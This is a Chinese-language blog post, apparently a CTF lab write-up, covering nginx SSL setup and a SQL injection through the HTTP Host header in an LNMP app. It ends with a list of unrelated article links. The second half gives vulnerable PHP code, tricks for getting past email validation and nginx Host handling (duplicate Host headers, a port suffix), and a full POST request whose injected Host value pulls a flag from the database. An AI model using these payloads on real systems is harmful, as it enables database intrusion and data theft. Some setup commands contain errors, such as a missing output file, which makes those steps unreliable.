安全中级1-nginx_host与php处理不同绕过

news2024/11/17 16:50:04

一、nginx配置证书

1.生成一个ssl.key密钥

openssl genrsa -des3 -out ssl.key 2096

2.创建一个key的目录,并将ssl.key放入到key目录下

mkdir key

mv ssl.key key/

cd key 

3.将ssl.key修改为xxx.key

mv ssl.key xxx.key

4.创建ssl.key密钥

openssl rsa -in xxx.key -out ssl.key

5.删除xxx.key

rm xxx.key

6.生成一个ssl.csr证书

openssl req -new -key ssl.key -out ssl.csr

7.给证书生成证书时长

openssl x509 -req -days 365 -in ssl.csr -signkey ssl.key-out 

8.启动nginx ,出现了下面的问题

cd /usr/local/nginx/sbin

./nginx -s reload

9.主要问题是我们没编译ngx_http_ssl_module这个模块

10.进入到我们原先解压的安装包中

cd /usr/local/nginx-1.24.0/

11.编译ssl_module

./configure --prefix=/usr/local/nginx --with-http_stub_status_module --with-http_ssl_module

12.编译

make

13.关闭nginx

cd /usr/local/nginx/sbin

./nginx -s stop

#如果报错根据问题继续解决

14.进入到nginx-1.24.0,将nginx启动模块在覆盖一边

cd /usr/local/nginx-1.24.0/

cp obis/nginx  /usr/local/nginx/sbin/

15.配置nginx.conf文件

cd /usr/local/nginx/conf/

vim nginx.conf

16.配置如下内容

   #证书认证

   rewrite ^(.*)$ https://192.168.191.129; 

  #证书认证
    server {
        listen       443 ssl;
        server_name  192.168.191.129;

        ssl_certificate      /root/key/ssl.crt;
        ssl_certificate_key  /root/key/ssl.key;

        #ssl_session_cache    shared:SSL:1m;
        ssl_session_timeout  5m;

        ssl_ciphers  HIGH:!aNULL:!MD5;
        ssl_prefer_server_ciphers  on;

        location / {
            root   html;
            index  index.html index.htm;
        }
    }

17.重启nginx

cd /usr/local/nginx/sbin/

./nginx

18.在物理机的浏览器输入https://192.168.191.129

二、攻击LNMP架构的web应用的小技巧

1.nginx+php+mysql(php推荐7.4版本)

(1)上传文件到我们的/usr/local/nginx/html下

(2)配置nginx.conf

server {
        listen       80;
        server_name  www.php.com;
        root         /usr/local/nginx/html/pwnhub/web;
        index index.php index.html;
        access_log  logs/host.access.log  main;

        location / {
        try_files $uri $uri/ /index.php;
        }

        location ~ \.php$(.*)$ {
            fastcgi_pass   127.0.0.1:9000;
           fastcgi_index  index.php;
            fastcgi_split_path_info  ^((?U).+\.php)(/?.+)$;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            fastcgi_param  PATH_INFO  $fastcgi_path_info;
            fastcgi_param  PATH_TRANSLATED  $document_root$fastcgi_path_info;
            include        fastcgi_params;
        }

    }

 (3)访问www.php.com

2.原理(sql的单引号逃逸)

        在架构的lnmp的时候,首先对用户和密码通过$_REQUEST进行接入,也对特殊的字符进行了过滤和限制,但是在接前端的email的时候一般用$_SERVER进行接入,但是并为进行特殊字符进行限制,而且邮箱如果没有填写,则自动设置为”用户名@网站域名“。而网站的域名是从arg('HTTP_HOST')中获取,也就是从$_REQUEST$_SERVER中获取。因为$_SERVER没有经过转义,我们只需要在HTTP头Host值中引入单引号,即可造成一个SQL注入漏洞。

<?php
function actionRegister(){
    if ($_POST) {
        $username = arg('username');
        $password = arg('password');

        if (empty($username) || empty($password)) {
            $this->error('Username or password is empty.');
        }

        $email = arg('email');
        if (empty($email)) {
            $email = $username . '@' . arg('HTTP_HOST');
        }

        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            $this->error('Email error.');
        }

        $user = new User();
        $data = $user->query("SELECT * FROM `{$user->table_name}` WHERE `username` = '{$username}'");
        if ($data) {
            $this->error('This username is exists.');
        }

        $ret = $user->create([
            'username' => $username,
            'password' => md5($password),
            'email' => $email
        ]);
        if ($ret) {
            $_SESSION['user_id'] = $user->lastInsertId();
        } else {
            $this->error('Unknown error.');
        }
    }

}

2.先对邮箱进行一个绕过(0x03 FILTER_VALIDATE_EMAIL绕过)

        原理是邮箱地址分为local part和domain part两部分。local part中包含特殊字符,需要如下处理:

(1)将特殊字符用\转义,如Joe\'Blow@example.com

(2)或将local part包裹在双引号中,如"Joe'Blow"@example.com

(3)local part长度不超过64个字符

因为代码中邮箱是用户名、@、Host三者拼接而成,但用户名是经过了转义的,所以单引号只能放在Host中。我们可以传入用户名为",Host为aaa'"@example.com,最后拼接出来的邮箱为"aaa'"@example.com。这个含有单引号构成sql注入

 

3.绕过nginx的host头部的三种技巧

(1)Nginx在处理Host的时候,会将Host用冒号分割成hostname和port,port部分被丢弃。所以,我们可以设置Host的值为2023.mhz.pw:xxx'"@example.com,这样就能访问到目标Server块:

(2)当我们传入两个Host头的时候,Nginx将以第一个为准,而PHP-FPM将以第二个为准。

也就是说,如果我传入:

Host: 2023.mhz.pw
Host: xxx'"@example.com

Nginx将认为Host为2023.mhz.pw,并交给目标Server块处理;但PHP中使$_SERVER['HTTP_HOST']取到的值却是xxx'"@example.com。这样也可以绕过

(3)在Burpsuite里修改协议为https,并指定好https的Host,也就是SNI。我们再修改HTTP数据包的Host头,就能正常访问目标后端了。

4.sql进行注入

        我们通过阅读代码知道我们的flag在flags下,所以直接burpsuit进行注入

POST /main/register HTTP/1.1
Host: 2023.mhz.pw
Host: '),('t123',md5(12123),(select(flag)from(flags)))#"@a.com
Accept-Encoding: gzip, deflate
Accept: */*

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/545607.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【计算机组成原理】实验二

文章目录 实验二 运算器实验一、实验目的二、实验原理三、运算器功能编码四、设置初始状态任务一 算术运算任务二 逻辑运算任务三 移位运算任务四 进位控制与零标志 实验二 运算器实验 一、实验目的 完成算术、逻辑、移位运算实验&#xff0c;熟悉ALU运算类型的控制位运用。…

华为OD机试真题 Java 实现【硬件产品销售方案】【2023Q1 200分】

一、题目描述 某公司目前推出了AI开发者套件、AI加速卡、AI加速模块、AI服务器、智能边缘多种硬件产品&#xff0c;每种产品包含若干个型号。 现某合作厂商要采购金额为amount元的硬件产品搭建自己的AI基座。 假设当前库存有N种产品&#xff0c;每种产品的库存量充足&#x…

Python爬虫urllib的基础使用详解

文章目录 1、urllib的使用response 服务器返回的数据&#xff1a;一个类型&#xff0c;六个方法urllib.request.urlretrieve(url,filename) 请求下载网页 请求下载图片 请求下载视频 2、请求对象的定制3.编解码post请求方式ajax的get请求ajax的post请求cookie模拟登录使用handl…

策略模式+单例模式(go)

《设计模式&#xff1a;可复用面向对象软件的基础》 策略允许算法独立于使用它的客户端而变化。 算法可以互相替换&#xff0c;不影响客户端 一个类定义多种行为&#xff0c;并且这些行为在这个类操作中以多个条件形式出现。将相关的条件移入它们各自的Strategy类中以替代这些…

Tomcat 的maxConnections、maxThreads、acceptCount 之间的关系

1. 在springboot 项目配置方式 server:port: 8081servlet:context-path: "/account"tomcat:threads:max: 200min-spare: 10max-connections: 8192accept-count: 100connection-timeout: 10000min-spare &#xff1a;最小线程数 最小工作空闲线程数&#xff0c;默认1…

ChatGPT 自定义提示词模板提升使用效率

相关文章推荐&#xff1a; 《提问的艺术&#xff1a;如何通过提示词让 ChatGPT 更准确地理解你的问题&#xff1f;》 《这些免费插件&#xff0c;让你的 ChatGPT 效率爆炸》 一、背景 现在 ChatGPT 异常火爆&#xff0c;很多人都在体验甚至购买 ChatGPT Plus。 现在使用 ChatG…

ProtoBuf之启航

"How do we do we do go refarming~" 如何理解序列化和反序列化? 序列化: 把 对象 转换为 字节序列 的过程 称为对象的序列化。 反序列化: 把 字节序列 恢复为 对象 的过程 称为对象的反序列化。 这两对反义词从概念上来说并不难理解&#xff0c;但是为什么有事没…

Xcode 14.3 和 iOS 16.4 为 SwiftUI 带来了哪些新的功能?

0. 概览 今年年初&#xff0c;Apple 推出了最新的 Xcode 14.3 以及对应的 iOS 16.4 。 与此同时&#xff0c;它们对目前最新的 SwiftUI 4.0 也添加了一些新功能&#xff1a; sheet 弹窗后部视图&#xff08;Interact with a view Behind a sheet&#xff09;可交互&#xff…

高级树结构

二叉排序树 左子树中所有结点的值&#xff0c;均小于其根结点的值。 右子树中所有结点的值&#xff0c;均大于其根结点的值。 二叉搜索树的子树也是二叉搜索树。 注意&#xff1a; 1.二叉查找树不能插入重复元素 2.中序遍历是一个递增的数列 3.高度越小查询效率越高 二叉排序…

RK3568平台开发系列讲解(驱动基础篇)RK 看门狗的使用

🚀返回专栏总目录 文章目录 一、简介二、DTS配置三、使用沉淀、分享、成长,让自己和他人都能有所收获!😄 📢本篇将对RK 看门狗的使用进行学习。 文章目录 一、简介二、DTS配置三、使用一、简介 看门狗(watchdog)是一个定时器,启动之后会开始计时。系统或者软件需要…

一个非常sb的报错……idea创建项目初始化失败……

今天在用idea创建项目时报错项目初始化失败&#xff1b; 一开始以为是配置原因&#xff0c;但后面尝试创建空项目都失败…… 觉得可能跟版本什么的无关&#xff0c;尝试重启、更新系统后&#xff0c;试着以管理员身份运行idea&#xff0c;问题解决了……………… 如果有报错信…

C语言——结构体初阶

哈喽&#xff0c;大家好&#xff0c;今天我们来学习C语言中的结构体&#xff0c;今天主要学习初阶结构体&#xff0c;后期我们将继续学习结构体进阶。 目录 1.结构体类型的声明 1.1 结构体的基础知识 1.2 结构的声明 1.3 结构成员的类型 1.4 结构体变量的定义和初始化 2. …

Cannot resolve plugin com.spotify:docker-maven-plugin:1.2.2 not found

问题 遇到这个错误是按照ruoyi-clou-plus把插件复制过来的,开始没有版本号&#xff0c;一直爆红&#xff0c;自己随便试了几个版本号&#xff0c;还是提示Cannot resolve plugin com.spotify:docker-maven-plugin not found 过程分析 百度了很多都说在settings.xml中加上 …

Tomcat安装与使用

Tomcat 是HTTP服务器&#xff0c;用于使用HTTP协议。 1、下载Tomcat 下载链接&#xff1a;https://tomcat.apache.org/ 进入官网后&#xff0c;根据自己想要下载的版本进行下载&#xff0c;我这里选择下载的版本是Tomcat 8. 点击选择自己想要下载的对应版本&#xff0c;下载Z…

基于Kruskal和Prim的最小生成树算法[matlab版本]

Kruskal算法 ------------------------------------ Kruskal算法为顺序取边的算法,复杂度与边的数量m有关, 为o(m log2 m).步骤如下: (1)初始化:最小生成树的边集A = ∅,对于图G中每个节点v ∈ V,生成 一个仅包含该节点的子树; (2)将图G中所有的边按照非降序方式排列; (…

YOLOv5、YOLOv7独家原创改进:独家首发最新EfficiCLNMS改进点,改进有效可以直接当做自己的原创改进点来写,新的增强预测帧

💡该教程为属于《芒果书》📚系列,包含大量的原创首发改进方式, 所有文章都是全网首发原创改进内容🚀 💡本篇文章为YOLOv5、YOLOv7改进:独家首发最新EfficiCL-NMS改进点,新的增强预测帧率。 💡对自己数据集改进有效的话,可以直接当做自己的原创改进点来写!!!改…

Trace32 SRST和TRST、system.attach 和 system.up的区别

目录 TRST-Resets the JTAG TAP controller and the CPU internal debug logic SRST- Resets the CPU core and peripherals SYStem.Mode Down SYStem.Mode Nodebug SYStem.Mode Prepare SYStem.Mode Go SYStem.Mode Attach SYStem.Mode StandBy SYStem.Mode Up 下图为…

HLS入门-LED闪烁仿真

什么是HLS HLS&#xff08;High-Level Synthesis&#xff09;是一种硬件描述语言编程技术&#xff0c;它可以将高级语言&#xff08;如C/C&#xff09;转换为硬件描述语言&#xff08;如VHDL或Verilog&#xff09;&#xff0c;以便将其用于FPGA设计中。 HLS有什么核心技术&am…

《嵌入式系统开发实践》实验二 进程与线程

一、 实验目的 了解Linux中进程和线程的概念&#xff1b; 了解多线程程序的基本原理&#xff1b; 了解pthread库&#xff1b; 掌握用system、exec函数族、fork函数创建进程&#xff1b; 掌握使用pthread库中的函数编写多线程程序。 二、 实验任务与要求 应用fork函数创建子进…

行云流水| CI 3.0 云原生构建全新上线

研发过程中&#xff0c;如何直观且准确地获悉代码提交后的质量状态&#xff1f; 引入持续集成&#xff0c;可以自动化的对代码进行代码检查、单元测试、编译构建、甚至部署与发布&#xff0c;大幅提升开发人员的效率。 腾讯云 CODING 推出 CI 3.0 ——云原生构建&#xff0c;是…